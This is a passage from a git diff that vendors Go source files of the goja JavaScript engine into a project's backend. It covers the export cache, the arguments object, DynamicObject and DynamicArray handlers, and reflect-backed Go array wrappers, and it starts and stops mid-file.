item, ok := v.(objectExportCacheItem); ok { + r, exists := item[typ] + return r, exists + } else { + if reflect.TypeOf(v) == typ { + return v, true + } + } + } + return nil, false +} + +func (ctx *objectExportCtx) put(key *Object, value interface{}) { + if ctx.cache == nil { + ctx.cache = make(map[*Object]interface{}) + } + if item, ok := ctx.cache[key].(objectExportCacheItem); ok { + item[key.self.exportType()] = value + } else { + ctx.cache[key] = value + } +} + +func (ctx *objectExportCtx) putTyped(key *Object, typ reflect.Type, value interface{}) { + if ctx.cache == nil { + ctx.cache = make(map[*Object]interface{}) + } + v, exists := ctx.cache[key] + if exists { + if item, ok := ctx.cache[key].(objectExportCacheItem); ok { + item[typ] = value + } else { + m := make(objectExportCacheItem, 2) + m[key.self.exportType()] = v + m[typ] = value + ctx.cache[key] = m + } + } else { + m := make(objectExportCacheItem) + m[typ] = value + ctx.cache[key] = m + } +} + +type enumPropertiesIter struct { + o *Object + wrapped iterNextFunc +} + +func (i *enumPropertiesIter) next() (propIterItem, iterNextFunc) { + for i.wrapped != nil { + item, next := i.wrapped() + i.wrapped = next + if next == nil { + break + } + if item.value == nil { + item.value = i.o.get(item.name, nil) + if item.value == nil { + continue + } + } else { + if prop, ok := item.value.(*valueProperty); ok { + item.value = prop.get(i.o) + } + } + return item, i.next + } + return propIterItem{}, nil +} + +func iterateEnumerableProperties(o *Object) iterNextFunc { + return (&enumPropertiesIter{ + o: o, + wrapped: (&enumerableIter{ + o: o, + wrapped: o.self.iterateKeys(), + }).next, + }).next +} + +func iterateEnumerableStringProperties(o *Object) iterNextFunc { + return (&enumPropertiesIter{ + o: o, + wrapped: (&enumerableIter{ + o: o, + wrapped: o.self.iterateStringKeys(), + }).next, + }).next +} + +type privateId struct { + typ *privateEnvType + name unistring.String + idx uint32 + isMethod bool +} + +type privateEnvType struct { + numFields, numMethods uint32 +} + +type privateNames map[unistring.String]*privateId + +type privateEnv struct { + instanceType, staticType *privateEnvType + + names privateNames + + outer *privateEnv +} + +type privateElements struct { + methods []Value + fields []Value +} + +func (i *privateId) String() string { + return "#" + i.name.String() +} + +func (i *privateId) string() unistring.String { + return privateIdString(i.name) +} + +type propNameSet struct { + stringProps map[unistring.String]struct{} + symbolProps map[*Symbol]struct{} +} + +func (s *propNameSet) add(prop Value) { + if sym, ok := prop.(*Symbol); ok { + if s.symbolProps == nil { + s.symbolProps = make(map[*Symbol]struct{}) + } + s.symbolProps[sym] = struct{}{} + } else { + if s.stringProps == nil { + s.stringProps = make(map[unistring.String]struct{}) + } + s.stringProps[prop.string()] = struct{}{} + } +} + +func (s *propNameSet) has(prop Value) bool { + if sym, ok := prop.(*Symbol); ok { + _, exists := s.symbolProps[sym] + return exists + } + _, exists := s.stringProps[prop.string()] + return exists +} + +func (s *propNameSet) delete(prop Value) { + if sym, ok := prop.(*Symbol); ok { + delete(s.symbolProps, sym) + } else { + delete(s.stringProps, prop.string()) + } +} + +func (s *propNameSet) size() int { + return len(s.stringProps) + len(s.symbolProps) +} diff --git a/backend/vendor/github.com/dop251/goja/object_args.go b/backend/vendor/github.com/dop251/goja/object_args.go new file mode 100644 index 0000000..eb41d01 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_args.go @@ -0,0 +1,139 @@ +package goja + +import "github.com/dop251/goja/unistring" + +type argumentsObject struct { + baseObject + length int +} + +type mappedProperty struct { + valueProperty + v *Value +} + +func (a *argumentsObject) getStr(name unistring.String, receiver Value) Value { + return a.getStrWithOwnProp(a.getOwnPropStr(name), name, receiver) +} + +func (a *argumentsObject) getOwnPropStr(name unistring.String) Value { + if mapped, ok := a.values[name].(*mappedProperty); ok { + if mapped.writable && mapped.enumerable && mapped.configurable { + return *mapped.v + } + return &valueProperty{ + value: *mapped.v, + writable: mapped.writable, + configurable: mapped.configurable, + enumerable: mapped.enumerable, + } + } + + return a.baseObject.getOwnPropStr(name) +} + +func (a *argumentsObject) init() { + a.baseObject.init() + a._putProp("length", intToValue(int64(a.length)), true, false, true) +} + +func (a *argumentsObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + if prop, ok := a.values[name].(*mappedProperty); ok { + if !prop.writable { + a.val.runtime.typeErrorResult(throw, "Property is not writable: %s", name) + return false + } + *prop.v = val + return true + } + return a.baseObject.setOwnStr(name, val, throw) +} + +func (a *argumentsObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return a._setForeignStr(name, a.getOwnPropStr(name), val, receiver, throw) +} + +func (a *argumentsObject) deleteStr(name unistring.String, throw bool) bool { + if prop, ok := a.values[name].(*mappedProperty); ok { + if !a.checkDeleteProp(name, &prop.valueProperty, throw) { + return false + } + a._delete(name) + return true + } + + return a.baseObject.deleteStr(name, throw) +} + +type argumentsPropIter struct { + wrapped iterNextFunc +} + +func (i *argumentsPropIter) next() (propIterItem, iterNextFunc) { + var item propIterItem + item, i.wrapped = i.wrapped() + if i.wrapped == nil { + return propIterItem{}, nil + } + if prop, ok := item.value.(*mappedProperty); ok { + item.value = *prop.v + } + return item, i.next +} + +func (a *argumentsObject) iterateStringKeys() iterNextFunc { + return (&argumentsPropIter{ + wrapped: a.baseObject.iterateStringKeys(), + }).next +} + +func (a *argumentsObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if mapped, ok := a.values[name].(*mappedProperty); ok { + existing := &valueProperty{ + configurable: mapped.configurable, + writable: true, + enumerable: mapped.enumerable, + value: *mapped.v, + } + + val, ok := a.baseObject._defineOwnProperty(name, existing, descr, throw) + if !ok { + return false + } + + if prop, ok := val.(*valueProperty); ok { + if !prop.accessor { + *mapped.v = prop.value + } + if prop.accessor || !prop.writable { + a._put(name, prop) + return true + } + mapped.configurable = prop.configurable + mapped.enumerable = prop.enumerable + } else { + *mapped.v = val + mapped.configurable = true + mapped.enumerable = true + } + + return true + } + + return a.baseObject.defineOwnPropertyStr(name, descr, throw) +} + +func (a *argumentsObject) export(ctx *objectExportCtx) interface{} { + if v, exists := ctx.get(a.val); exists { + return v + } + arr := make([]interface{}, a.length) + ctx.put(a.val, arr) + for i := range arr { + v := a.getIdx(valueInt(int64(i)), nil) + if v != nil { + arr[i] = exportValue(v, ctx) + } + } + return arr +} diff --git a/backend/vendor/github.com/dop251/goja/object_dynamic.go b/backend/vendor/github.com/dop251/goja/object_dynamic.go new file mode 100644 index 0000000..b1e3161 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_dynamic.go @@ -0,0 +1,794 @@ +package goja + +import ( + "fmt" + "reflect" + "strconv" + + "github.com/dop251/goja/unistring" +) + +/* +DynamicObject is an interface representing a handler for a dynamic Object. Such an object can be created +using the Runtime.NewDynamicObject() method. + +Note that Runtime.ToValue() does not have any special treatment for DynamicObject. The only way to create +a dynamic object is by using the Runtime.NewDynamicObject() method. This is done deliberately to avoid +silent code breaks when this interface changes. +*/ +type DynamicObject interface { + // Get a property value for the key. May return nil if the property does not exist. + Get(key string) Value + // Set a property value for the key. Return true if success, false otherwise. + Set(key string, val Value) bool + // Has should return true if and only if the property exists. + Has(key string) bool + // Delete the property for the key. Returns true on success (note, that includes missing property). + Delete(key string) bool + // Keys returns a list of all existing property keys. There are no checks for duplicates or to make sure + // that the order conforms to https://262.ecma-international.org/#sec-ordinaryownpropertykeys + Keys() []string +} + +/* +DynamicArray is an interface representing a handler for a dynamic array Object. Such an object can be created +using the Runtime.NewDynamicArray() method. + +Any integer property key or a string property key that can be parsed into an int value (including negative +ones) is treated as an index and passed to the trap methods of the DynamicArray. Note this is different from +the regular ECMAScript arrays which only support positive indexes up to 2^32-1. + +DynamicArray cannot be sparse, i.e. hasOwnProperty(num) will return true for num >= 0 && num < Len(). Deleting +such a property is equivalent to setting it to undefined. Note that this creates a slight peculiarity because +hasOwnProperty() will still return true, even after deletion. + +Note that Runtime.ToValue() does not have any special treatment for DynamicArray. The only way to create +a dynamic array is by using the Runtime.NewDynamicArray() method. This is done deliberately to avoid +silent code breaks when this interface changes. +*/ +type DynamicArray interface { + // Len returns the current array length. + Len() int + // Get an item at index idx. Note that idx may be any integer, negative or beyond the current length. + Get(idx int) Value + // Set an item at index idx. Note that idx may be any integer, negative or beyond the current length. + // The expected behaviour when it's beyond length is that the array's length is increased to accommodate + // the item. All elements in the 'new' section of the array should be zeroed. + Set(idx int, val Value) bool + // SetLen is called when the array's 'length' property is changed. If the length is increased all elements in the + // 'new' section of the array should be zeroed. + SetLen(int) bool +} + +type baseDynamicObject struct { + val *Object + prototype *Object +} + +type dynamicObject struct { + baseDynamicObject + d DynamicObject +} + +type dynamicArray struct { + baseDynamicObject + a DynamicArray +} + +/* +NewDynamicObject creates an Object backed by the provided DynamicObject handler. + +All properties of this Object are Writable, Enumerable and Configurable data properties. Any attempt to define +a property that does not conform to this will fail. + +The Object is always extensible and cannot be made non-extensible. Object.preventExtensions() will fail. + +The Object's prototype is initially set to Object.prototype, but can be changed using regular mechanisms +(Object.SetPrototype() in Go or Object.setPrototypeOf() in JS). + +The Object cannot have own Symbol properties, however its prototype can. If you need an iterator support for +example, you could create a regular object, set Symbol.iterator on that object and then use it as a +prototype. See TestDynamicObjectCustomProto for more details. + +Export() returns the original DynamicObject. + +This mechanism is similar to ECMAScript Proxy, however because all properties are enumerable and the object +is always extensible there is no need for invariant checks which removes the need to have a target object and +makes it a lot more efficient. +*/ +func (r *Runtime) NewDynamicObject(d DynamicObject) *Object { + v := &Object{runtime: r} + o := &dynamicObject{ + d: d, + baseDynamicObject: baseDynamicObject{ + val: v, + prototype: r.global.ObjectPrototype, + }, + } + v.self = o + return v +} + +/* +NewSharedDynamicObject is similar to Runtime.NewDynamicObject but the resulting Object can be shared across multiple +Runtimes. The Object's prototype will be null. The provided DynamicObject must be goroutine-safe. +*/ +func NewSharedDynamicObject(d DynamicObject) *Object { + v := &Object{} + o := &dynamicObject{ + d: d, + baseDynamicObject: baseDynamicObject{ + val: v, + }, + } + v.self = o + return v +} + +/* +NewDynamicArray creates an array Object backed by the provided DynamicArray handler. +It is similar to NewDynamicObject, the differences are: + +- the Object is an array (i.e. Array.isArray() will return true and it will have the length property). + +- the prototype will be initially set to Array.prototype. + +- the Object cannot have any own string properties except for the 'length'. +*/ +func (r *Runtime) NewDynamicArray(a DynamicArray) *Object { + v := &Object{runtime: r} + o := &dynamicArray{ + a: a, + baseDynamicObject: baseDynamicObject{ + val: v, + prototype: r.getArrayPrototype(), + }, + } + v.self = o + return v +} + +/* +NewSharedDynamicArray is similar to Runtime.NewDynamicArray but the resulting Object can be shared across multiple +Runtimes. The Object's prototype will be null. If you need to run Array's methods on it, use Array.prototype.[...].call(a, ...). +The provided DynamicArray must be goroutine-safe. +*/ +func NewSharedDynamicArray(a DynamicArray) *Object { + v := &Object{} + o := &dynamicArray{ + a: a, + baseDynamicObject: baseDynamicObject{ + val: v, + }, + } + v.self = o + return v +} + +func (*dynamicObject) sortLen() int { + return 0 +} + +func (*dynamicObject) sortGet(i int) Value { + return nil +} + +func (*dynamicObject) swap(i int, i2 int) { +} + +func (*dynamicObject) className() string { + return classObject +} + +func (o *baseDynamicObject) getParentStr(p unistring.String, receiver Value) Value { + if proto := o.prototype; proto != nil { + if receiver == nil { + return proto.self.getStr(p, o.val) + } + return proto.self.getStr(p, receiver) + } + return nil +} + +func (o *dynamicObject) getStr(p unistring.String, receiver Value) Value { + prop := o.d.Get(p.String()) + if prop == nil { + return o.getParentStr(p, receiver) + } + return prop +} + +func (o *baseDynamicObject) getParentIdx(p valueInt, receiver Value) Value { + if proto := o.prototype; proto != nil { + if receiver == nil { + return proto.self.getIdx(p, o.val) + } + return proto.self.getIdx(p, receiver) + } + return nil +} + +func (o *dynamicObject) getIdx(p valueInt, receiver Value) Value { + prop := o.d.Get(p.String()) + if prop == nil { + return o.getParentIdx(p, receiver) + } + return prop +} + +func (o *baseDynamicObject) getSym(p *Symbol, receiver Value) Value { + if proto := o.prototype; proto != nil { + if receiver == nil { + return proto.self.getSym(p, o.val) + } + return proto.self.getSym(p, receiver) + } + return nil +} + +func (o *dynamicObject) getOwnPropStr(u unistring.String) Value { + return o.d.Get(u.String()) +} + +func (o *dynamicObject) getOwnPropIdx(v valueInt) Value { + return o.d.Get(v.String()) +} + +func (*baseDynamicObject) getOwnPropSym(*Symbol) Value { + return nil +} + +func (o *dynamicObject) _set(prop string, v Value, throw bool) bool { + if o.d.Set(prop, v) { + return true + } + typeErrorResult(throw, "'Set' on a dynamic object returned false") + return false +} + +func (o *baseDynamicObject) _setSym(throw bool) { + typeErrorResult(throw, "Dynamic objects do not support Symbol properties") +} + +func (o *dynamicObject) setOwnStr(p unistring.String, v Value, throw bool) bool { + prop := p.String() + if !o.d.Has(prop) { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, handled := proto.self.setForeignStr(p, v, o.val, throw); handled { + return res + } + } + } + return o._set(prop, v, throw) +} + +func (o *dynamicObject) setOwnIdx(p valueInt, v Value, throw bool) bool { + prop := p.String() + if !o.d.Has(prop) { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, handled := proto.self.setForeignIdx(p, v, o.val, throw); handled { + return res + } + } + } + return o._set(prop, v, throw) +} + +func (o *baseDynamicObject) setOwnSym(s *Symbol, v Value, throw bool) bool { + if proto := o.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, handled := proto.self.setForeignSym(s, v, o.val, throw); handled { + return res + } + } + o._setSym(throw) + return false +} + +func (o *baseDynamicObject) setParentForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) { + if proto := o.prototype; proto != nil { + if receiver != proto { + return proto.self.setForeignStr(p, v, receiver, throw) + } + return proto.self.setOwnStr(p, v, throw), true + } + return false, false +} + +func (o *dynamicObject) setForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) { + prop := p.String() + if !o.d.Has(prop) { + return o.setParentForeignStr(p, v, receiver, throw) + } + return false, false +} + +func (o *baseDynamicObject) setParentForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) { + if proto := o.prototype; proto != nil { + if receiver != proto { + return proto.self.setForeignIdx(p, v, receiver, throw) + } + return proto.self.setOwnIdx(p, v, throw), true + } + return false, false +} + +func (o *dynamicObject) setForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) { + prop := p.String() + if !o.d.Has(prop) { + return o.setParentForeignIdx(p, v, receiver, throw) + } + return false, false +} + +func (o *baseDynamicObject) setForeignSym(p *Symbol, v, receiver Value, throw bool) (res bool, handled bool) { + if proto := o.prototype; proto != nil { + if receiver != proto { + return proto.self.setForeignSym(p, v, receiver, throw) + } + return proto.self.setOwnSym(p, v, throw), true + } + return false, false +} + +func (o *dynamicObject) hasPropertyStr(u unistring.String) bool { + if o.hasOwnPropertyStr(u) { + return true + } + if proto := o.prototype; proto != nil { + return proto.self.hasPropertyStr(u) + } + return false +} + +func (o *dynamicObject) hasPropertyIdx(idx valueInt) bool { + if o.hasOwnPropertyIdx(idx) { + return true + } + if proto := o.prototype; proto != nil { + return proto.self.hasPropertyIdx(idx) + } + return false +} + +func (o *baseDynamicObject) hasPropertySym(s *Symbol) bool { + if proto := o.prototype; proto != nil { + return proto.self.hasPropertySym(s) + } + return false +} + +func (o *dynamicObject) hasOwnPropertyStr(u unistring.String) bool { + return o.d.Has(u.String()) +} + +func (o *dynamicObject) hasOwnPropertyIdx(v valueInt) bool { + return o.d.Has(v.String()) +} + +func (*baseDynamicObject) hasOwnPropertySym(_ *Symbol) bool { + return false +} + +func (o *baseDynamicObject) checkDynamicObjectPropertyDescr(name fmt.Stringer, descr PropertyDescriptor, throw bool) bool { + if descr.Getter != nil || descr.Setter != nil { + typeErrorResult(throw, "Dynamic objects do not support accessor properties") + return false + } + if descr.Writable == FLAG_FALSE { + typeErrorResult(throw, "Dynamic object field %q cannot be made read-only", name.String()) + return false + } + if descr.Enumerable == FLAG_FALSE { + typeErrorResult(throw, "Dynamic object field %q cannot be made non-enumerable", name.String()) + return false + } + if descr.Configurable == FLAG_FALSE { + typeErrorResult(throw, "Dynamic object field %q cannot be made non-configurable", name.String()) + return false + } + return true +} + +func (o *dynamicObject) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + if o.checkDynamicObjectPropertyDescr(name, desc, throw) { + return o._set(name.String(), desc.Value, throw) + } + return false +} + +func (o *dynamicObject) defineOwnPropertyIdx(name valueInt, desc PropertyDescriptor, throw bool) bool { + if o.checkDynamicObjectPropertyDescr(name, desc, throw) { + return o._set(name.String(), desc.Value, throw) + } + return false +} + +func (o *baseDynamicObject) defineOwnPropertySym(name *Symbol, desc PropertyDescriptor, throw bool) bool { + o._setSym(throw) + return false +} + +func (o *dynamicObject) _delete(prop string, throw bool) bool { + if o.d.Delete(prop) { + return true + } + typeErrorResult(throw, "Could not delete property %q of a dynamic object", prop) + return false +} + +func (o *dynamicObject) deleteStr(name unistring.String, throw bool) bool { + return o._delete(name.String(), throw) +} + +func (o *dynamicObject) deleteIdx(idx valueInt, throw bool) bool { + return o._delete(idx.String(), throw) +} + +func (*baseDynamicObject) deleteSym(_ *Symbol, _ bool) bool { + return true +} + +func (o *baseDynamicObject) assertCallable() (call func(FunctionCall) Value, ok bool) { + return nil, false +} + +func (o *baseDynamicObject) vmCall(vm *vm, n int) { + panic(vm.r.NewTypeError("Dynamic object is not callable")) +} + +func (*baseDynamicObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return nil +} + +func (o *baseDynamicObject) proto() *Object { + return o.prototype +} + +func (o *baseDynamicObject) setProto(proto *Object, throw bool) bool { + o.prototype = proto + return true +} + +func (o *baseDynamicObject) hasInstance(v Value) bool { + panic(newTypeError("Expecting a function in instanceof check, but got a dynamic object")) +} + +func (*baseDynamicObject) isExtensible() bool { + return true +} + +func (o *baseDynamicObject) preventExtensions(throw bool) bool { + typeErrorResult(throw, "Cannot make a dynamic object non-extensible") + return false +} + +type dynamicObjectPropIter struct { + o *dynamicObject + propNames []string + idx int +} + +func (i *dynamicObjectPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.propNames) { + name := i.propNames[i.idx] + i.idx++ + if i.o.d.Has(name) { + return propIterItem{name: newStringValue(name), enumerable: _ENUM_TRUE}, i.next + } + } + return propIterItem{}, nil +} + +func (o *dynamicObject) iterateStringKeys() iterNextFunc { + keys := o.d.Keys() + return (&dynamicObjectPropIter{ + o: o, + propNames: keys, + }).next +} + +func (o *baseDynamicObject) iterateSymbols() iterNextFunc { + return func() (propIterItem, iterNextFunc) { + return propIterItem{}, nil + } +} + +func (o *dynamicObject) iterateKeys() iterNextFunc { + return o.iterateStringKeys() +} + +func (o *dynamicObject) export(ctx *objectExportCtx) interface{} { + return o.d +} + +func (o *dynamicObject) exportType() reflect.Type { + return reflect.TypeOf(o.d) +} + +func (o *baseDynamicObject) exportToMap(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return genericExportToMap(o.val, dst, typ, ctx) +} + +func (o *baseDynamicObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return genericExportToArrayOrSlice(o.val, dst, typ, ctx) +} + +func (o *dynamicObject) equal(impl objectImpl) bool { + if other, ok := impl.(*dynamicObject); ok { + return o.d == other.d + } + return false +} + +func (o *dynamicObject) stringKeys(all bool, accum []Value) []Value { + keys := o.d.Keys() + if l := len(accum) + len(keys); l > cap(accum) { + oldAccum := accum + accum = make([]Value, len(accum), l) + copy(accum, oldAccum) + } + for _, key := range keys { + accum = append(accum, newStringValue(key)) + } + return accum +} + +func (*baseDynamicObject) symbols(all bool, accum []Value) []Value { + return accum +} + +func (o *dynamicObject) keys(all bool, accum []Value) []Value { + return o.stringKeys(all, accum) +} + +func (*baseDynamicObject) _putProp(name unistring.String, value Value, writable, enumerable, configurable bool) Value { + return nil +} + +func (*baseDynamicObject) _putSym(s *Symbol, prop Value) { +} + +func (o *baseDynamicObject) getPrivateEnv(*privateEnvType, bool) *privateElements { + panic(newTypeError("Dynamic objects cannot have private elements")) +} + +func (o *baseDynamicObject) typeOf() String { + return stringObjectC +} + +func (a *dynamicArray) sortLen() int { + return a.a.Len() +} + +func (a *dynamicArray) sortGet(i int) Value { + return a.a.Get(i) +} + +func (a *dynamicArray) swap(i int, j int) { + x := a.sortGet(i) + y := a.sortGet(j) + a.a.Set(int(i), y) + a.a.Set(int(j), x) +} + +func (a *dynamicArray) className() string { + return classArray +} + +func (a *dynamicArray) getStr(p unistring.String, receiver Value) Value { + if p == "length" { + return intToValue(int64(a.a.Len())) + } + if idx, ok := strToInt(p); ok { + return a.a.Get(idx) + } + return a.getParentStr(p, receiver) +} + +func (a *dynamicArray) getIdx(p valueInt, receiver Value) Value { + if val := a.getOwnPropIdx(p); val != nil { + return val + } + return a.getParentIdx(p, receiver) +} + +func (a *dynamicArray) getOwnPropStr(u unistring.String) Value { + if u == "length" { + return &valueProperty{ + value: intToValue(int64(a.a.Len())), + writable: true, + } + } + if idx, ok := strToInt(u); ok { + return a.a.Get(idx) + } + return nil +} + +func (a *dynamicArray) getOwnPropIdx(v valueInt) Value { + return a.a.Get(toIntStrict(int64(v))) +} + +func (a *dynamicArray) _setLen(v Value, throw bool) bool { + if a.a.SetLen(toIntStrict(v.ToInteger())) { + return true + } + typeErrorResult(throw, "'SetLen' on a dynamic array returned false") + return false +} + +func (a *dynamicArray) setOwnStr(p unistring.String, v Value, throw bool) bool { + if p == "length" { + return a._setLen(v, throw) + } + if idx, ok := strToInt(p); ok { + return a._setIdx(idx, v, throw) + } + typeErrorResult(throw, "Cannot set property %q on a dynamic array", p.String()) + return false +} + +func (a *dynamicArray) _setIdx(idx int, v Value, throw bool) bool { + if a.a.Set(idx, v) { + return true + } + typeErrorResult(throw, "'Set' on a dynamic array returned false") + return false +} + +func (a *dynamicArray) setOwnIdx(p valueInt, v Value, throw bool) bool { + return a._setIdx(toIntStrict(int64(p)), v, throw) +} + +func (a *dynamicArray) setForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) { + return a.setParentForeignStr(p, v, receiver, throw) +} + +func (a *dynamicArray) setForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) { + return a.setParentForeignIdx(p, v, receiver, throw) +} + +func (a *dynamicArray) hasPropertyStr(u unistring.String) bool { + if a.hasOwnPropertyStr(u) { + return true + } + if proto := a.prototype; proto != nil { + return proto.self.hasPropertyStr(u) + } + return false +} + +func (a *dynamicArray) hasPropertyIdx(idx valueInt) bool { + if a.hasOwnPropertyIdx(idx) { + return true + } + if proto := a.prototype; proto != nil { + return proto.self.hasPropertyIdx(idx) + } + return false +} + +func (a *dynamicArray) _has(idx int) bool { + return idx >= 0 && idx < a.a.Len() +} + +func (a *dynamicArray) hasOwnPropertyStr(u unistring.String) bool { + if u == "length" { + return true + } + if idx, ok := strToInt(u); ok { + return a._has(idx) + } + return false +} + +func (a *dynamicArray) hasOwnPropertyIdx(v valueInt) bool { + return a._has(toIntStrict(int64(v))) +} + +func (a *dynamicArray) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + if a.checkDynamicObjectPropertyDescr(name, desc, throw) { + if idx, ok := strToInt(name); ok { + return a._setIdx(idx, desc.Value, throw) + } + typeErrorResult(throw, "Cannot define property %q on a dynamic array", name.String()) + } + return false +} + +func (a *dynamicArray) defineOwnPropertyIdx(name valueInt, desc PropertyDescriptor, throw bool) bool { + if a.checkDynamicObjectPropertyDescr(name, desc, throw) { + return a._setIdx(toIntStrict(int64(name)), desc.Value, throw) + } + return false +} + +func (a *dynamicArray) _delete(idx int, throw bool) bool { + if a._has(idx) { + a._setIdx(idx, _undefined, throw) + } + return true +} + +func (a *dynamicArray) deleteStr(name unistring.String, throw bool) bool { + if idx, ok := strToInt(name); ok { + return a._delete(idx, throw) + } + if a.hasOwnPropertyStr(name) { + typeErrorResult(throw, "Cannot delete property %q on a dynamic array", name.String()) + return false + } + return true +} + +func (a *dynamicArray) deleteIdx(idx valueInt, throw bool) bool { + return a._delete(toIntStrict(int64(idx)), throw) +} + +type dynArrayPropIter struct { + a DynamicArray + idx, limit int +} + +func (i *dynArrayPropIter) next() (propIterItem, iterNextFunc) { + if i.idx < i.limit && i.idx < i.a.Len() { + name := strconv.Itoa(i.idx) + i.idx++ + return propIterItem{name: asciiString(name), enumerable: _ENUM_TRUE}, i.next + } + + return propIterItem{}, nil +} + +func (a *dynamicArray) iterateStringKeys() iterNextFunc { + return (&dynArrayPropIter{ + a: a.a, + limit: a.a.Len(), + }).next +} + +func (a *dynamicArray) iterateKeys() iterNextFunc { + return a.iterateStringKeys() +} + +func (a *dynamicArray) export(ctx *objectExportCtx) interface{} { + return a.a +} + +func (a *dynamicArray) exportType() reflect.Type { + return reflect.TypeOf(a.a) +} + +func (a *dynamicArray) equal(impl objectImpl) bool { + if other, ok := impl.(*dynamicArray); ok { + return a == other + } + return false +} + +func (a *dynamicArray) stringKeys(all bool, accum []Value) []Value { + al := a.a.Len() + l := len(accum) + al + if all { + l++ + } + if l > cap(accum) { + oldAccum := accum + accum = make([]Value, len(oldAccum), l) + copy(accum, oldAccum) + } + for i := 0; i < al; i++ { + accum = append(accum, asciiString(strconv.Itoa(i))) + } + if all { + accum = append(accum, asciiString("length")) + } + return accum +} + +func (a *dynamicArray) keys(all bool, accum []Value) []Value { + return a.stringKeys(all, accum) +} diff --git a/backend/vendor/github.com/dop251/goja/object_goarray_reflect.go b/backend/vendor/github.com/dop251/goja/object_goarray_reflect.go new file mode 100644 index 0000000..e40364d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_goarray_reflect.go @@ -0,0 +1,358 @@ +package goja + +import ( + "reflect" + "strconv" + + "github.com/dop251/goja/unistring" +) + +type objectGoArrayReflect struct { + objectGoReflect + lengthProp valueProperty + + valueCache valueArrayCache + + putIdx func(idx int, v Value, throw bool) bool +} + +type valueArrayCache []reflectValueWrapper + +func (c *valueArrayCache) get(idx int) reflectValueWrapper { + if idx < len(*c) { + return (*c)[idx] + } + return nil +} + +func (c *valueArrayCache) grow(newlen int) { + oldcap := cap(*c) + if oldcap < newlen { + a := make([]reflectValueWrapper, newlen, growCap(newlen, len(*c), oldcap)) + copy(a, *c) + *c = a + } else { + *c = (*c)[:newlen] + } +} + +func (c *valueArrayCache) put(idx int, w reflectValueWrapper) { + if len(*c) <= idx { + c.grow(idx + 1) + } + (*c)[idx] = w +} + +func (c *valueArrayCache) shrink(newlen int) { + if len(*c) > newlen { + tail := (*c)[newlen:] + for i, item := range tail { + if item != nil { + copyReflectValueWrapper(item) + tail[i] = nil + } + } + *c = (*c)[:newlen] + } +} + +func (o *objectGoArrayReflect) _init() { + o.objectGoReflect.init() + o.class = classArray + o.prototype = o.val.runtime.getArrayPrototype() + o.baseObject._put("length", &o.lengthProp) +} + +func (o *objectGoArrayReflect) init() { + o._init() + o.updateLen() + o.putIdx = o._putIdx +} + +func (o *objectGoArrayReflect) updateLen() { + o.lengthProp.value = intToValue(int64(o.fieldsValue.Len())) +} + +func (o *objectGoArrayReflect) _hasIdx(idx valueInt) bool { + if idx := int64(idx); idx >= 0 && idx < int64(o.fieldsValue.Len()) { + return true + } + return false +} + +func (o *objectGoArrayReflect) _hasStr(name unistring.String) bool { + if idx := strToIdx64(name); idx >= 0 && idx < int64(o.fieldsValue.Len()) { + return true + } + return false +} + +func (o *objectGoArrayReflect) _getIdx(idx int) Value { + if v := o.valueCache.get(idx); v != nil { + return v.esValue() + } + + v := o.fieldsValue.Index(idx) + + res, w := o.elemToValue(v) + if w != nil { + o.valueCache.put(idx, w) + } + + return res +} + +func (o *objectGoArrayReflect) getIdx(idx valueInt, receiver Value) Value { + if idx := toIntStrict(int64(idx)); idx >= 0 && idx < o.fieldsValue.Len() { + return o._getIdx(idx) + } + return o.objectGoReflect.getStr(idx.string(), receiver) +} + +func (o *objectGoArrayReflect) getStr(name unistring.String, receiver Value) Value { + var ownProp Value + if idx := strToGoIdx(name); idx >= 0 && idx < o.fieldsValue.Len() { + ownProp = o._getIdx(idx) + } else if name == "length" { + if o.fieldsValue.Kind() == reflect.Slice { + o.updateLen() + } + ownProp = &o.lengthProp + } else { + ownProp = o.objectGoReflect.getOwnPropStr(name) + } + return o.getStrWithOwnProp(ownProp, name, receiver) +} + +func (o *objectGoArrayReflect) getOwnPropStr(name unistring.String) Value { + if idx := strToGoIdx(name); idx >= 0 { + if idx < o.fieldsValue.Len() { + return &valueProperty{ + value: o._getIdx(idx), + writable: true, + enumerable: true, + } + } + return nil + } + if name == "length" { + if o.fieldsValue.Kind() == reflect.Slice { + o.updateLen() + } + return &o.lengthProp + } + return o.objectGoReflect.getOwnPropStr(name) +} + +func (o *objectGoArrayReflect) getOwnPropIdx(idx valueInt) Value { + if idx := toIntStrict(int64(idx)); idx >= 0 && idx < o.fieldsValue.Len() { + return &valueProperty{ + value: o._getIdx(idx), + writable: true, + enumerable: true, + } + } + return nil +} + +func (o *objectGoArrayReflect) _putIdx(idx int, v Value, throw bool) bool { + cached := o.valueCache.get(idx) + if cached != nil { + copyReflectValueWrapper(cached) + } + + rv := o.fieldsValue.Index(idx) + err := o.val.runtime.toReflectValue(v, rv, &objectExportCtx{}) + if err != nil { + if cached != nil { + cached.setReflectValue(rv) + } + o.val.runtime.typeErrorResult(throw, "Go type conversion error: %v", err) + return false + } + if cached != nil { + o.valueCache[idx] = nil + } + return true +} + +func (o *objectGoArrayReflect) setOwnIdx(idx valueInt, val Value, throw bool) bool { + if i := toIntStrict(int64(idx)); i >= 0 { + if i >= o.fieldsValue.Len() { + if res, ok := o._setForeignIdx(idx, nil, val, o.val, throw); ok { + return res + } + } + return o.putIdx(i, val, throw) + } else { + name := 